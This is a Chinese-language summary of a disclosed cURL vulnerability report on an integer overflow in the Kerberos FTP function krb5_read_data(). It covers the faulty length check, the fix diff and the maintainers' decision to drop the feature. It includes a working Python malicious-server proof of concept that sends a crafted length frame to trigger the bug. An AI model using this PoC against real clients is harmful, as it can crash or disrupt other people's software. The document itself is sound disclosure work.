漏洞概述
在cURL的krb5_read_data()
函数中发现了一个整数溢出漏洞。该漏洞存在于Kerberos FTP支持代码中,可能被恶意服务器利用导致内存分配异常或潜在的拒绝服务攻击。
技术细节
问题代码分析
c
len = (int)ntohl((uint32_t)len);
if(len > CURL_MAX_INPUT_LENGTH)
return CURLE_TOO_LARGE;
第一个问题是这个代码块可能导致整数溢出:当从网络字节序转换后的值包装为负数时,后续的长度检查将失效。
c
char buffer[1024];
nread = CURLMIN(len, (int)sizeof(buffer));
result = socket_read(data, sockindex, buffer, (size_t)nread);
如果len
为-1(小于1024),nread
将被传递为(size_t)-1
,这会包装成一个巨大的数字。
这最终会传递到Curl_conn_recv
,其中data[1024]
和nread == ~SIZE_MAX
,导致缓冲区越界读取,因为缓冲区只有1024字节长,而nread
将变得巨大。
第二个问题是整个代码逻辑存在缺陷。do-while循环在len
非零时继续执行,但随后将len=0
传递给decode()
函数。
影响版本
自功能引入以来的所有版本似乎都受到影响。
概念验证
提供了两个PoC来演示该问题:
repro_server.py
python
#!/usr/bin/env python3
import socket, struct, argparse, sys, time
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--port", type=int, default=9999)
ap.add_argument("--netlen", type=lambda x:int(x,0), default=0x00000010,
help="4-byte big-endian length to send (e.g. 0x10 or 16)")
ap.add_argument("--payload-byte", default="41", help="hex byte to repeat (default '41' = 'A')")
args = ap.parse_args()
payload = bytes([int(args.payload_byte, 16)]) * (args.netlen & 0xffffffff)
netlen = struct.pack("!I", args.netlen & 0xffffffff)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", args.port))
s.listen(1)
print(f"listening on :{args.port} ...")
while True:
conn, addr = s.accept()
print("client:", addr, " sending frame len=", hex(args.netlen))
try:
conn.sendall(netlen)
if args.netlen:
conn.sendall(payload)
time.sleep(0.2)
finally:
conn.close()
if __name__ == "__main__":
main()
krb5_len_bug_harness.c
提供了完整的C代码来重现该漏洞,演示了整数溢出如何绕过长度检查。
漏洞利用性分析
虽然该漏洞理论上可能导致内存分配异常,但在实际测试中,当recv()
被调用时传入巨大的长度值(如18446744071562072064)时,内核通常会拒绝该请求并返回"Bad address"错误。
修复方案
cURL维护者提出了修复方案:
diff
- int len;
+ uint32_t len;
CURLcode result;
- int nread;
+ size_t nread;
+ int rc;
result = socket_read(data, sockindex, &len, sizeof(len));
if(result)
return result;
if(len) {
- len = (int)ntohl((uint32_t)len);
+ len = ntohl(len);
if(len > CURL_MAX_INPUT_LENGTH)
return CURLE_TOO_LARGE;
curlx_dyn_reset(&buf->buf);
}
最终决定
经过深入分析,cURL团队决定:
- 不将该问题视为安全漏洞,因为引入该问题的同一提交也完全破坏了代码功能
- 完全移除对Kerberos FTP的支持,而不是修复漏洞代码
- 该决定基于代码实际上无法正常工作的现实,用户不太可能因此受到攻击
该漏洞报告最终被标记为"Informative"(信息性)而非安全漏洞,相关代码已在后续版本中被完全移除。